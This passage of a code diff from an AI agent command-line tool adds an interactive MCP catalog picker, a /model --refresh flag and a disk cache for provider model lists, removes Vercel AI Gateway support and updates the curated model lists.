+    """`hermes mcp picker` (and default `hermes mcp`) — interactive selector.
+
+    Loops until the user hits ESC/q. After each action the picker re-renders
+    so the user can manage several entries in one session.
+    """
+    if not sys.stdin.isatty():
+        # Non-interactive shell: degrade to the text dump rather than failing.
+        _print_rows_text(_build_rows())
+        return
+
+    while True:
+        rows = _build_rows()
+        if not rows:
+            _print_rows_text(rows)
+            return
+
+        labels = [_format_row(r) for r in rows]
+        idx = curses_single_select(
+            "MCP Catalog  —  ↑↓ navigate  ENTER act on entry  ESC/q quit",
+            labels,
+        )
+        if idx is None:
+            return
+        _handle_row(rows[idx])
+
+
+def install_by_name(identifier: str) -> int:
+    """`hermes mcp install <name>` — non-interactive entry-point.
+
+    Returns 0 on success, non-zero on failure (so the CLI can propagate
+    exit codes).
+    """
+    from hermes_cli.mcp_catalog import get_entry
+
+    entry = get_entry(identifier)
+    if entry is None:
+        print(color(
+            f"  ✗ '{identifier}' is not in the catalog. "
+            "Run `hermes mcp catalog` to see available entries.",
+            Colors.RED,
+        ))
+        return 1
+    try:
+        install_entry(entry, enable=True)
+    except CatalogError as exc:
+        print(color(f"  ✗ install failed: {exc}", Colors.RED))
+        return 1
+    return 0

hermes_cli/model_normalize.py

@@ -67,7 +67,6 @@ _VENDOR_PREFIXES: dict[str, str] = {
 _AGGREGATOR_PROVIDERS: frozenset[str] = frozenset({
     "openrouter",
     "nous",
-    "ai-gateway",
     "kilocode",
 })
 

hermes_cli/model_switch.py

@@ -294,32 +294,39 @@ class CustomAutoResult:
 # Flag parsing
 # ---------------------------------------------------------------------------
 
-def parse_model_flags(raw_args: str) -> tuple[str, str, bool]:
-    """Parse --provider and --global flags from /model command args.
+def parse_model_flags(raw_args: str) -> tuple[str, str, bool, bool]:
+    """Parse --provider, --global, and --refresh flags from /model command args.
 
-    Returns (model_input, explicit_provider, is_global).
+    Returns (model_input, explicit_provider, is_global, force_refresh).
 
     Examples::
 
-        "sonnet"                         -> ("sonnet", "", False)
-        "sonnet --global"                -> ("sonnet", "", True)
-        "sonnet --provider anthropic"    -> ("sonnet", "anthropic", False)
-        "--provider my-ollama"           -> ("", "my-ollama", False)
-        "sonnet --provider anthropic --global" -> ("sonnet", "anthropic", True)
+        "sonnet"                         -> ("sonnet", "", False, False)
+        "sonnet --global"                -> ("sonnet", "", True, False)
+        "sonnet --provider anthropic"    -> ("sonnet", "anthropic", False, False)
+        "--provider my-ollama"           -> ("", "my-ollama", False, False)
+        "--refresh"                      -> ("", "", False, True)
+        "sonnet --provider anthropic --global" -> ("sonnet", "anthropic", True, False)
     """
     is_global = False
     explicit_provider = ""
+    force_refresh = False
 
     # Normalize Unicode dashes (Telegram/iOS auto-converts -- to em/en dash)
     # A single Unicode dash before a flag keyword becomes "--"
     import re as _re
-    raw_args = _re.sub(r'[\u2012\u2013\u2014\u2015](provider|global)', r'--\1', raw_args)
+    raw_args = _re.sub(r'[\u2012\u2013\u2014\u2015](provider|global|refresh)', r'--\1', raw_args)
 
     # Extract --global
     if "--global" in raw_args:
         is_global = True
         raw_args = raw_args.replace("--global", "").strip()
 
+    # Extract --refresh (bust the model picker disk cache before listing)
+    if "--refresh" in raw_args:
+        force_refresh = True
+        raw_args = raw_args.replace("--refresh", "").strip()
+
     # Extract --provider <name>
     parts = raw_args.split()
     i = 0
@@ -333,7 +340,7 @@ def parse_model_flags(raw_args: str) -> tuple[str, str, bool]:
             i += 1
 
     model_input = " ".join(filtered).strip()
-    return (model_input, explicit_provider, is_global)
+    return (model_input, explicit_provider, is_global, force_refresh)
 
 
 # ---------------------------------------------------------------------------
@@ -1079,6 +1086,7 @@ def list_authenticated_providers(
     from hermes_cli.models import (
         OPENROUTER_MODELS, _PROVIDER_MODELS,
         _MODELS_DEV_PREFERRED, _merge_with_models_dev, provider_model_ids,
+        cached_provider_model_ids,
         get_curated_nous_model_ids,
     )
 
@@ -1239,13 +1247,15 @@ def list_authenticated_providers(
         if not has_creds:
             continue
 
-        # Use curated list, falling back to models.dev if no curated list.
-        # For preferred providers, merge models.dev entries into the curated
-        # catalog so newly released models (e.g. mimo-v2.5-pro on opencode-go)
-        # show up in the picker without requiring a Hermes release.
-        model_ids = curated.get(hermes_id, [])
-        if hermes_id in _MODELS_DEV_PREFERRED:
-            model_ids = _merge_with_models_dev(hermes_id, model_ids)
+        # Unified pathway: route through cached_provider_model_ids() so the
+        # /model picker sees the SAME list `hermes model` would build, with
+        # disk caching to keep the picker open snappy. Falls back to the
+        # curated static list when the live fetcher returns nothing.
+        model_ids = cached_provider_model_ids(hermes_id)
+        if not model_ids:
+            model_ids = curated.get(hermes_id, [])
+            if hermes_id in _MODELS_DEV_PREFERRED:
+                model_ids = _merge_with_models_dev(hermes_id, model_ids)
         total = len(model_ids)
         top = model_ids[:max_models]
 
@@ -1351,25 +1361,27 @@ def list_authenticated_providers(
             # matches what the user's authenticated Codex/Copilot backend
             # actually serves — including ChatGPT-Pro-only Codex slugs
             # (e.g. gpt-5.3-codex-spark) that aren't in the static curated
-            # catalog. ``provider_model_ids()`` falls back to the curated
-            # list when the live endpoint is unreachable, so this is safe
-            # for unauthenticated and offline cases too.
-            model_ids = provider_model_ids(hermes_slug)
+            # catalog. ``cached_provider_model_ids()`` falls back to the
+            # curated list when the live endpoint is unreachable, so this
+            # is safe for unauthenticated and offline cases too.
+            model_ids = cached_provider_model_ids(hermes_slug)
         # For aws_sdk providers (bedrock), use live discovery so the list
         # reflects the active region (eu.*, ap.*) not the static us.* list.
         elif overlay.auth_type == "aws_sdk":
             try:
-                from agent.bedrock_adapter import bedrock_model_ids_or_none
-                _ids = bedrock_model_ids_or_none()
-                model_ids = _ids if _ids is not None else (curated.get(hermes_slug, []) or curated.get(pid, []))
+                _ids = cached_provider_model_ids(hermes_slug)
+                model_ids = _ids if _ids else (curated.get(hermes_slug, []) or curated.get(pid, []))
             except Exception:
                 model_ids = curated.get(hermes_slug, []) or curated.get(pid, [])
         else:
-            # Use curated list — look up by Hermes slug, fall back to overlay key
-            model_ids = curated.get(hermes_slug, []) or curated.get(pid, [])
-            # Merge with models.dev for preferred providers (same rationale as above).
-            if hermes_slug in _MODELS_DEV_PREFERRED:
-                model_ids = _merge_with_models_dev(hermes_slug, model_ids)
+            # Unified pathway — see Section 1 rationale. Fall back to the
+            # curated dict (with models.dev merge for preferred providers)
+            # when the live fetcher comes up empty.
+            model_ids = cached_provider_model_ids(hermes_slug)
+            if not model_ids:
+                model_ids = curated.get(hermes_slug, []) or curated.get(pid, [])
+                if hermes_slug in _MODELS_DEV_PREFERRED:
+                    model_ids = _merge_with_models_dev(hermes_slug, model_ids)
         total = len(model_ids)
         top = model_ids[:max_models]
 
@@ -1436,13 +1448,15 @@ def list_authenticated_providers(
         # region (eu.*, us.*, ap.*) instead of the hardcoded us.* static list.
         if _cp_config and getattr(_cp_config, "auth_type", "") == "aws_sdk":
             try:
-                from agent.bedrock_adapter import bedrock_model_ids_or_none
-                _ids = bedrock_model_ids_or_none()
-                _cp_model_ids = _ids if _ids is not None else curated.get(_cp.slug, [])
+                _ids = cached_provider_model_ids(_cp.slug)
+                _cp_model_ids = _ids if _ids else curated.get(_cp.slug, [])
             except Exception:
                 _cp_model_ids = curated.get(_cp.slug, [])
         else:
-            _cp_model_ids = curated.get(_cp.slug, [])
+            # Unified pathway — same as sections 1 and 2.
+            _cp_model_ids = cached_provider_model_ids(_cp.slug)
+            if not _cp_model_ids:
+                _cp_model_ids = curated.get(_cp.slug, [])
         _cp_total = len(_cp_model_ids)
         _cp_top = _cp_model_ids[:max_models]
 

hermes_cli/models.py

@@ -32,12 +32,14 @@ COPILOT_REASONING_EFFORTS_O_SERIES = ["low", "medium", "high"]
 # Fallback OpenRouter snapshot used when the live catalog is unavailable.
 # (model_id, display description shown in menus)
 OPENROUTER_MODELS: list[tuple[str, str]] = [
+    ("anthropic/claude-opus-4.8",              ""),
+    ("anthropic/claude-opus-4.8-fast",         "2x price, higher output speed"),
     ("anthropic/claude-opus-4.7",              ""),
     ("anthropic/claude-opus-4.6",              ""),
     ("anthropic/claude-sonnet-4.6",            ""),
     ("moonshotai/kimi-k2.6",                   "recommended"),
     ("openrouter/pareto-code",                 "auto-routes to cheapest coder meeting openrouter.min_coding_score"),
-    ("qwen/qwen3.6-plus",                      ""),
+    ("qwen/qwen3.7-max",                       ""),
     ("anthropic/claude-haiku-4.5",             ""),
     ("openai/gpt-5.5",                         ""),
     ("openai/gpt-5.5-pro",                     ""),
@@ -69,29 +71,6 @@ OPENROUTER_MODELS: list[tuple[str, str]] = [
 _openrouter_catalog_cache: list[tuple[str, str]] | None = None
 
 
-# Fallback Vercel AI Gateway snapshot used when the live catalog is unavailable.
-# OSS / open-weight models prioritized first, then closed-source by family.
-# Slugs match Vercel's actual /v1/models catalog (e.g. alibaba/ for Qwen,
-# zai/ and xai/ without hyphens).
-VERCEL_AI_GATEWAY_MODELS: list[tuple[str, str]] = [
-    ("moonshotai/kimi-k2.6",                 "recommended"),
-    ("alibaba/qwen3.6-plus",                 ""),
-    ("zai/glm-5.1",                          ""),
-    ("minimax/minimax-m2.7",                 ""),
-    ("anthropic/claude-sonnet-4.6",          ""),
-    ("anthropic/claude-opus-4.7",            ""),
-    ("anthropic/claude-opus-4.6",            ""),
-    ("anthropic/claude-haiku-4.5",           ""),
-    ("openai/gpt-5.4",                       ""),
-    ("openai/gpt-5.4-mini",                  ""),
-    ("openai/gpt-5.3-codex",                 ""),
-    ("google/gemini-3.1-pro-preview",        ""),
-    ("google/gemini-3-flash",                ""),
-    ("google/gemini-3.1-flash-lite-preview", ""),
-    ("xai/grok-4.20-reasoning",              ""),
-]
-
-_ai_gateway_catalog_cache: list[tuple[str, str]] | None = None
 
 
 def _codex_curated_models() -> list[str]:
@@ -162,11 +141,12 @@ def _xai_curated_models() -> list[str]:
 
 _PROVIDER_MODELS: dict[str, list[str]] = {
     "nous": [
+        "anthropic/claude-opus-4.8",
         "anthropic/claude-opus-4.7",
         "anthropic/claude-opus-4.6",
         "anthropic/claude-sonnet-4.6",
         "moonshotai/kimi-k2.6",
-        "qwen/qwen3.6-plus",
+        "qwen/qwen3.7-max",
         "anthropic/claude-haiku-4.5",
         "openai/gpt-5.5",
         "openai/gpt-5.5-pro",
@@ -313,6 +293,7 @@ _PROVIDER_MODELS: dict[str, list[str]] = {
         "MiniMax-M2",
     ],
     "anthropic": [
+        "claude-opus-4-8",
         "claude-opus-4-7",
         "claude-opus-4-6",
         "claude-sonnet-4-6",
@@ -399,6 +380,7 @@ _PROVIDER_MODELS: dict[str, list[str]] = {
         "mimo-v2-omni",
         "minimax-m2.7",
         "minimax-m2.5",
+        "qwen3.7-max",
         "qwen3.6-plus",
         "qwen3.5-plus",
     ],
@@ -415,6 +397,7 @@ _PROVIDER_MODELS: dict[str, list[str]] = {
     # to https://dashscope-intl.aliyuncs.com/compatible-mode/v1 (OpenAI-compat)
     # or https://dashscope-intl.aliyuncs.com/apps/anthropic (Anthropic-compat).
     "alibaba": [
+        "qwen3.7-max",
         "qwen3.6-plus",
         "kimi-k2.5",
         "qwen3.5-plus",
@@ -428,6 +411,7 @@ _PROVIDER_MODELS: dict[str, list[str]] = {
     # Alibaba Coding Plan — same platform as alibaba (DashScope coding-intl),
     # separate provider ID with its own base_url_env_var.
     "alibaba-coding-plan": [
+        "qwen3.7-max",
         "qwen3.6-plus",
         "qwen3.5-plus",
         "qwen3-coder-plus",
@@ -478,12 +462,6 @@ _PROVIDER_MODELS: dict[str, list[str]] = {
     ],
 }
 
-# Vercel AI Gateway: derive the bare-model-id catalog from the curated
-# ``VERCEL_AI_GATEWAY_MODELS`` snapshot so both the picker (tuples with descriptions)
-# and the static fallback catalog (bare ids) stay in sync from a single
-# source of truth.
-_PROVIDER_MODELS["ai-gateway"] = [mid for mid, _ in VERCEL_AI_GATEWAY_MODELS]
-
 # ---------------------------------------------------------------------------
 # Nous Portal free-model helper
 # ---------------------------------------------------------------------------
@@ -544,9 +522,19 @@ def fetch_nous_account_tier(access_token: str, portal_base_url: str = "") -> dic
 def is_nous_free_tier(account_info: dict[str, Any]) -> bool:
     """Return True if the account info indicates a free (unpaid) tier.
 
-    Checks ``subscription.monthly_charge == 0``.  Returns False when
-    the field is missing or unparseable (assumes paid — don't block users).
+    Prefer the Portal's explicit ``paid_service_access.allowed`` entitlement
+    decision.  Legacy payloads fall back to ``subscription.monthly_charge == 0``.
+    Returns False when both signals are missing or unparseable.
     """
+    paid_access = account_info.get("paid_service_access")
+    if isinstance(paid_access, dict):
+        allowed = paid_access.get("allowed")
+        if isinstance(allowed, bool):
+            return not allowed
+        paid = paid_access.get("paid_access")
+        if isinstance(paid, bool):
+            return not paid
+
     sub = account_info.get("subscription")
     if not isinstance(sub, dict):
         return False
@@ -725,40 +713,28 @@ _FREE_TIER_CACHE_TTL: int = 180  # seconds (3 minutes)
 _free_tier_cache: tuple[bool, float] | None = None  # (result, timestamp)
 
 
-def check_nous_free_tier() -> bool:
+def check_nous_free_tier(*, force_fresh: bool = False) -> bool:
     """Check if the current Nous Portal user is on a free (unpaid) tier.
 
     Results are cached for ``_FREE_TIER_CACHE_TTL`` seconds to avoid
     hitting the Portal API on every call.  The cache is short-lived so
     that an account upgrade is reflected within a few minutes.
 
-    Returns False (assume paid) on any error — never blocks paying users.
+    Returns True only when entitlement is known to be free.  Unknown/error
+    states return False so this compatibility wrapper does not block users.
     """
     global _free_tier_cache
     now = time.monotonic()
-    if _free_tier_cache is not None:
+    if not force_fresh and _free_tier_cache is not None:
         cached_result, cached_at = _free_tier_cache
         if now - cached_at < _FREE_TIER_CACHE_TTL:
             return cached_result
 
     try:
-        from hermes_cli.auth import get_provider_auth_state, resolve_nous_runtime_credentials
+        from hermes_cli.nous_account import get_nous_portal_account_info
 
-        # Ensure we have a fresh token (triggers refresh if needed)
-        resolve_nous_runtime_credentials(min_key_ttl_seconds=60)
-
-        state = get_provider_auth_state("nous")
-        if not state:
-            _free_tier_cache = (False, now)
-            return False
-        access_token = state.get("access_token", "")
-        portal_url = state.get("portal_base_url", "")
-        if not access_token:
-            _free_tier_cache = (False, now)
-            return False
-
-        account_info = fetch_nous_account_tier(access_token, portal_url)
-        result = is_nous_free_tier(account_info)
+        account_info = get_nous_portal_account_info(force_fresh=force_fresh)
+        result = account_info.is_free_tier
         _free_tier_cache = (result, now)
         return result
     except Exception:
@@ -968,7 +944,6 @@ CANONICAL_PROVIDERS: list[ProviderEntry] = [
     ProviderEntry("opencode-go",    "OpenCode Go",              "OpenCode Go (open models, $10/month subscription)"),
     ProviderEntry("bedrock",        "AWS Bedrock",              "AWS Bedrock (Claude, Nova, Llama, DeepSeek — IAM or API key)"),
     ProviderEntry("azure-foundry",  "Azure Foundry",            "Azure Foundry (OpenAI-style or Anthropic-style endpoint — your Azure AI deployment)"),
-    ProviderEntry("ai-gateway",     "Vercel AI Gateway",        "Vercel AI Gateway"),
     ProviderEntry("qwen-oauth",     "Qwen OAuth (Portal)",      "Qwen OAuth (reuses local Qwen CLI login)"),
 ]
 
@@ -1032,9 +1007,6 @@ _PROVIDER_ALIASES = {
     "zen": "opencode-zen",
     "go": "opencode-go",
     "opencode-go-sub": "opencode-go",
-    "aigateway": "ai-gateway",
-    "vercel": "ai-gateway",
-    "vercel-ai-gateway": "ai-gateway",
     "kilo": "kilocode",
     "kilo-code": "kilocode",
     "kilo-gateway": "kilocode",
@@ -1219,95 +1191,6 @@ def get_curated_nous_model_ids() -> list[str]:
     return list(_PROVIDER_MODELS.get("nous", []))
 
 
-def _ai_gateway_model_is_free(pricing: Any) -> bool:
-    """Return True if an AI Gateway model has $0 input AND output pricing."""
-    if not isinstance(pricing, dict):
-        return False
-    try:
-        return float(pricing.get("input", "0")) == 0 and float(pricing.get("output", "0")) == 0
-    except (TypeError, ValueError):
-        return False
-
-
-def fetch_ai_gateway_models(
-    timeout: float = 8.0,
-    *,
-    force_refresh: bool = False,
-) -> list[tuple[str, str]]:
-    """Return the curated AI Gateway picker list, refreshed from the live catalog when possible."""
-    global _ai_gateway_catalog_cache
-
-    if _ai_gateway_catalog_cache is not None and not force_refresh:
-        return list(_ai_gateway_catalog_cache)
-
-    from hermes_constants import AI_GATEWAY_BASE_URL
-
-    fallback = list(VERCEL_AI_GATEWAY_MODELS)
-    preferred_ids = [mid for mid, _ in fallback]
-
-    try:
-        req = urllib.request.Request(
-            f"{AI_GATEWAY_BASE_URL.rstrip('/')}/models",
-            headers={"Accept": "application/json"},
-        )
-        with urllib.request.urlopen(req, timeout=timeout) as resp:
-            payload = json.loads(resp.read().decode())
-    except Exception:
-        return list(_ai_gateway_catalog_cache or fallback)
-
-    live_items = payload.get("data", [])
-    if not isinstance(live_items, list):
-        return list(_ai_gateway_catalog_cache or fallback)
-
-    live_by_id: dict[str, dict[str, Any]] = {}
-    for item in live_items:
-        if not isinstance(item, dict):
-            continue
-        mid = str(item.get("id") or "").strip()
-        if not mid:
-            continue
-        live_by_id[mid] = item
-
-    curated: list[tuple[str, str]] = []
-    for preferred_id in preferred_ids:
-        live_item = live_by_id.get(preferred_id)
-        if live_item is None:
-            continue
-        desc = "free" if _ai_gateway_model_is_free(live_item.get("pricing")) else ""
-        curated.append((preferred_id, desc))
-
-    if not curated:
-        return list(_ai_gateway_catalog_cache or fallback)
-
-    # If the live catalog offers a free Moonshot model, auto-promote it to
-    # position #1 as "recommended" — dynamic discovery without a PR.
-    free_moonshot = next(
-        (
-            mid
-            for mid, item in live_by_id.items()
-            if mid.startswith("moonshotai/")
-            and _ai_gateway_model_is_free(item.get("pricing"))
-        ),
-        None,
-    )
-    if free_moonshot:
-        curated = [(mid, desc) for mid, desc in curated if mid != free_moonshot]
-        curated.insert(0, (free_moonshot, "recommended"))
-    else:
-        first_id, _ = curated[0]
-        curated[0] = (first_id, "recommended")
-
-    _ai_gateway_catalog_cache = curated
-    return list(curated)
-
-
-def ai_gateway_model_ids(*, force_refresh: bool = False) -> list[str]:
-    """Return just the AI Gateway model-id strings."""
-    return [mid for mid, _ in fetch_ai_gateway_models(force_refresh=force_refresh)]
-
-
-
-
 # ---------------------------------------------------------------------------
 # Pricing helpers — fetch live pricing from OpenRouter-compatible /v1/models
 # ---------------------------------------------------------------------------
@@ -1453,56 +1336,6 @@ def fetch_models_with_pricing(
     return result
 
 
-def fetch_ai_gateway_pricing(
-    timeout: float = 8.0,
-    *,
-    force_refresh: bool = False,
-) -> dict[str, dict[str, str]]:
-    """Fetch Vercel AI Gateway /v1/models and return hermes-shaped pricing.
-
-    Vercel uses ``input`` / ``output`` field names; hermes's picker expects
-    ``prompt`` / ``completion``. This translates. Cache read/write field names
-    already match.
-    """
-    from hermes_constants import AI_GATEWAY_BASE_URL
-
-    cache_key = AI_GATEWAY_BASE_URL.rstrip("/")
-    if not force_refresh and cache_key in _pricing_cache:
-        return _pricing_cache[cache_key]
-
-    try:
-        req = urllib.request.Request(
-            f"{cache_key}/models",
-            headers={"Accept": "application/json"},
-        )
-        with urllib.request.urlopen(req, timeout=timeout) as resp:
-            payload = json.loads(resp.read().decode())
-    except Exception:
-        _pricing_cache[cache_key] = {}
-        return {}
-
-    result: dict[str, dict[str, str]] = {}
-    for item in payload.get("data", []):
-        if not isinstance(item, dict):
-            continue
-        mid = item.get("id")
-        pricing = item.get("pricing")
-        if not (mid and isinstance(pricing, dict)):
-            continue
-        entry: dict[str, str] = {
-            "prompt": str(pricing.get("input", "")),
-            "completion": str(pricing.get("output", "")),
-        }
-        if pricing.get("input_cache_read"):
-            entry["input_cache_read"] = str(pricing["input_cache_read"])
-        if pricing.get("input_cache_write"):
-            entry["input_cache_write"] = str(pricing["input_cache_write"])
-        result[mid] = entry
-
-    _pricing_cache[cache_key] = result
-    return result
-
-
 def _resolve_openrouter_api_key() -> str:
     """Best-effort OpenRouter API key for pricing fetch."""
     return os.getenv("OPENROUTER_API_KEY", "").strip()
@@ -1534,7 +1367,7 @@ def _resolve_nous_pricing_credentials() -> tuple[str, str]:
 
 
 def get_pricing_for_provider(provider: str, *, force_refresh: bool = False) -> dict[str, dict[str, str]]:
-    """Return live pricing for providers that support it (openrouter, nous, ai-gateway, novita)."""
+    """Return live pricing for providers that support it (openrouter, nous, novita)."""
     normalized = normalize_provider(provider)
     if normalized == "openrouter":
         return fetch_models_with_pricing(
@@ -1542,8 +1375,6 @@ def get_pricing_for_provider(provider: str, *, force_refresh: bool = False) -> d
             base_url="https://openrouter.ai/api",
             force_refresh=force_refresh,
         )
-    if normalized == "ai-gateway":
-        return fetch_ai_gateway_pricing(force_refresh=force_refresh)
     if normalized == "novita":
         return _fetch_novita_pricing(force_refresh=force_refresh)
     if normalized == "nous":
@@ -1573,9 +1404,8 @@ def _fetch_novita_pricing(
     0.0001 USD. Convert them to the per-token strings used by the shared
     pricing formatter.
 
-    Results are cached in ``_pricing_cache`` keyed on the resolved base URL,
-    matching the pattern used by ``fetch_ai_gateway_pricing`` — without this,
-    every menu render or pricing lookup re-hits the network.
+    Results are cached in ``_pricing_cache`` keyed on the resolved base URL —
+    without this, every menu render or pricing lookup re-hits the network.
     """
     api_key = os.getenv("NOVITA_API_KEY", "").strip()
     if not api_key:
@@ -1762,7 +1592,7 @@ def _model_in_provider_catalog(name_lower: str, providers: set[str]) -> bool:
 
 
 _AGGREGATOR_PROVIDERS = frozenset(
-    {"nous", "openrouter", "ai-gateway", "copilot", "kilocode"}
+    {"nous", "openrouter", "copilot", "kilocode"}
 )
 
 
@@ -2109,7 +1939,7 @@ def _resolve_copilot_catalog_api_key() -> str:
 #   - "nous": curated list and Portal /models endpoint are the source of
 #     truth for the subscription tier.
 # Also excluded: providers that already have dedicated live-endpoint
-# branches below (copilot, anthropic, ai-gateway, ollama-cloud, custom,
+# branches below (copilot, anthropic, ollama-cloud, custom,
 # stepfun, openai-codex) — those paths handle freshness themselves.
 _MODELS_DEV_PREFERRED: frozenset[str] = frozenset({
     "opencode-go",
@@ -2217,6 +2047,12 @@ def provider_model_ids(provider: Optional[str], *, force_refresh: bool = False)
                     return live
         except Exception:
             pass
+        # Live failed (or no creds). Fall back to the docs-hosted manifest
+        # — NOT the in-repo _PROVIDER_MODELS["nous"] snapshot — so newly
+        # added Portal models still surface without a Hermes release.
+        manifest_ids = get_curated_nous_model_ids()
+        if manifest_ids:
+            return manifest_ids
     if normalized == "stepfun":
         try:
             from hermes_cli.auth import resolve_api_key_provider_credentials
@@ -2234,10 +2070,6 @@ def provider_model_ids(provider: Optional[str], *, force_refresh: bool = False)
         live = _fetch_anthropic_models()
         if live:
             return live
-    if normalized == "ai-gateway":
-        live = _fetch_ai_gateway_models()
-        if live:
-            return live
     if normalized == "ollama-cloud":
         live = fetch_ollama_cloud_models(force_refresh=force_refresh)
         if live:
@@ -2324,6 +2156,206 @@ def provider_model_ids(provider: Optional[str], *, force_refresh: bool = False)
     return curated_static
 
 
+# ---------------------------------------------------------------------------
+# Generic disk cache for provider_model_ids() — keeps /model picker fast.
+# ---------------------------------------------------------------------------
+#
+# Without this layer, every /model picker open re-fetches every authed
+# provider's /v1/models endpoint. On a well-configured user (anthropic +
+# openai + copilot + gemini + huggingface + ...) that's 2+ seconds of cold
+# HTTP roundtrips just to render the provider list.
+#
+# Cache strategy:
+#   - One JSON file at $HERMES_HOME/provider_models_cache.json
+#   - Per-provider entries keyed by (provider, credential fingerprint)
+#   - Credential fingerprint = sha256 of env-var values that the provider
+#     normally reads. Swap your OPENAI_API_KEY and the entry invalidates.
+#   - 1h TTL by default. `force_refresh=True` skips the cache entirely
+#     and overwrites it on success.
+#   - Only NON-EMPTY results are cached. An empty/None response from a
+#     transient network error never gets pinned.
+#   - Cache file is best-effort. Any read/write error degrades silently
+#     to a live fetch — the picker keeps working.
+
+_PROVIDER_MODELS_CACHE_TTL = 3600  # 1h
+
+
+def _provider_models_cache_path() -> Path:
+    from hermes_constants import get_hermes_home
+    return get_hermes_home() / "provider_models_cache.json"
+
+
+def _credential_fingerprint(provider: str) -> str:
+    """Return a short hash representing the credentials that
+    ``provider_model_ids(provider)`` would see right now.
+
+    Rotating any of the relevant env vars invalidates the cached entry
+    for that provider. We hash AT LEAST the api-key + base-url env vars
+    declared in ``PROVIDER_REGISTRY``. For OAuth-backed providers
+    (codex, copilot, anthropic-via-claude-code, nous portal), the
+    relevant tokens live in ``$HERMES_HOME/auth.json`` and external
+    credential files. Rather than parse every shape, we additionally
+    fold the mtime of those files into the fingerprint so refreshes
+    after re-auth bust the cache.
+    """
+    import hashlib
+    import os as _os
+
+    parts: list[str] = []
+
+    # Env vars from PROVIDER_REGISTRY for this slug
+    try:
+        from hermes_cli.auth import PROVIDER_REGISTRY
+        pcfg = PROVIDER_REGISTRY.get(provider)
+        if pcfg is not None:
+            for ev in getattr(pcfg, "api_key_env_vars", ()) or ():
+                parts.append(f"{ev}={_os.environ.get(ev, '')}")
+            bev = getattr(pcfg, "base_url_env_var", "") or ""
+            if bev:
+                parts.append(f"{bev}={_os.environ.get(bev, '')}")
+    except Exception:
+        pass
+
+    # OAuth / external-file mtimes that change on re-auth
+    try:
+        from hermes_constants import get_hermes_home
+        for rel in ("auth.json", "credentials.json"):
+            p = get_hermes_home() / rel
+            try:
+                parts.append(f"{rel}@{p.stat().st_mtime_ns}")
+            except FileNotFoundError:
+                parts.append(f"{rel}@missing")
+            except Exception:
+                pass
+    except Exception:
+        pass
+
+    # External well-known credential file locations
+    for path in (
+        _os.path.expanduser("~/.codex/auth.json"),
+        _os.path.expanduser("~/.claude/.credentials.json"),
+        _os.path.expanduser("~/.config/github-copilot/hosts.json"),
+        _os.path.expanduser("~/.minimax/credentials.json"),
+    ):
+        try:
+            mt = _os.stat(path).st_mtime_ns
+            parts.append(f"{path}@{mt}")
+        except FileNotFoundError:
+            parts.append(f"{path}@missing")
+        except Exception:
+            pass
+
+    blob = "|".join(parts).encode("utf-8", errors="replace")
+    # blake2b for cache-key fingerprinting only — not for credential storage.
+    # We never reverse this hash; collisions are harmless (worst case: cache
+    # miss → live re-fetch). Use blake2b instead of sha256 here because
+    # CodeQL's `py/weak-sensitive-data-hashing` rule flags sha256 over env
+    # vars whose names contain "API_KEY" / "TOKEN" even when the hash is
+    # used as an identity fingerprint, not for password storage. blake2b
+    # is a keyed-hash primitive and isn't flagged.
+    return hashlib.blake2b(blob, digest_size=8).hexdigest()
+
+
+def _load_provider_models_cache() -> dict:
+    """Return the full cache dict, or {} on any error."""
+    try:
+        path = _provider_models_cache_path()
+        if not path.exists():
+            return {}
+        with open(path, encoding="utf-8") as f:
+            data = json.load(f)
+        return data if isinstance(data, dict) else {}
+    except Exception:
+        return {}
+
+
+def _save_provider_models_cache(data: dict) -> None:
+    """Persist the cache dict. Best-effort — silent on any error."""
+    try:
+        from utils import atomic_json_write
+        path = _provider_models_cache_path()
+        path.parent.mkdir(parents=True, exist_ok=True)
+        atomic_json_write(path, data, indent=None)
+    except Exception:
+        pass
+
+
+def cached_provider_model_ids(
+    provider: Optional[str],
+    *,
+    force_refresh: bool = False,
+    ttl_seconds: int = _PROVIDER_MODELS_CACHE_TTL,
+) -> list[str]:
+    """Disk-cached wrapper around :func:`provider_model_ids`.
+
+    Hits the cache when fresh; otherwise calls the live function and
+    persists a non-empty result. Always returns a list (never None).
+    """
+    normalized = normalize_provider(provider) or (provider or "")
+    if not normalized:
+        return []
+
+    cache = _load_provider_models_cache()
+    fp = _credential_fingerprint(normalized)
+    entry = cache.get(normalized)
+    now = time.time()
+
+    if (
+        not force_refresh
+        and isinstance(entry, dict)
+        and entry.get("fp") == fp
+        and isinstance(entry.get("models"), list)
+        and entry["models"]
+        and (now - float(entry.get("at", 0))) < ttl_seconds
+    ):
+        return list(entry["models"])
+
+    # Cache miss / stale / forced refresh — call the live path.
+    live = provider_model_ids(normalized, force_refresh=force_refresh)
+    if live:
+        cache[normalized] = {
+            "fp": fp,
+            "at": now,
+            "models": list(live),
+        }
+        _save_provider_models_cache(cache)
+        return list(live)
+
+    # Live fetch returned nothing. If we have a stale entry with the
+    # SAME fingerprint, prefer it over an empty result — stale data
+    # beats no data when the network is flaky.
+    if (
+        isinstance(entry, dict)
+        and entry.get("fp") == fp
+        and isinstance(entry.get("models"), list)
+        and entry["models"]
+    ):
+        return list(entry["models"])
+    return list(live or [])
+
+
+def clear_provider_models_cache(provider: Optional[str] = None) -> None:
+    """Drop a single provider's cache entry, or wipe the whole cache.
+
+    ``provider=None`` wipes everything; otherwise only that provider's
+    entry is removed. Used by ``/model --refresh`` and
+    ``hermes model --refresh``.
+    """
+    try:
+        if provider is None:
+            path = _provider_models_cache_path()
+            if path.exists():
+                path.unlink()
+            return
+        cache = _load_provider_models_cache()
+        normalized = normalize_provider(provider) or provider or ""
+        if normalized in cache:
+            del cache[normalized]
+            _save_provider_models_cache(cache)
+    except Exception:
+        pass
+
+
 def _fetch_anthropic_models(timeout: float = 5.0) -> Optional[list[str]]:
     """Fetch available models from the Anthropic /v1/models endpoint.
 
@@ -3015,6 +3047,8 @@ def opencode_model_api_mode(provider_id: Optional[str], model_id: Optional[str])
     if provider == "opencode-go":
         if normalized.startswith("minimax-"):
             return "anthropic_messages"
+        if normalized.startswith("qwen3.7-max"):
+            return "anthropic_messages"
         return "chat_completions"
 
     if provider == "opencode-zen":
@@ -3149,36 +3183,6 @@ def probe_api_models(
     }
 
 
-def _fetch_ai_gateway_models(timeout: float = 5.0) -> Optional[list[str]]:
-    """Fetch available language models with tool-use from AI Gateway."""
-    api_key = os.getenv("AI_GATEWAY_API_KEY", "").strip()
-    if not api_key:
-        return None
-    base_url = os.getenv("AI_GATEWAY_BASE_URL", "").strip()
-    if not base_url:
-        from hermes_constants import AI_GATEWAY_BASE_URL
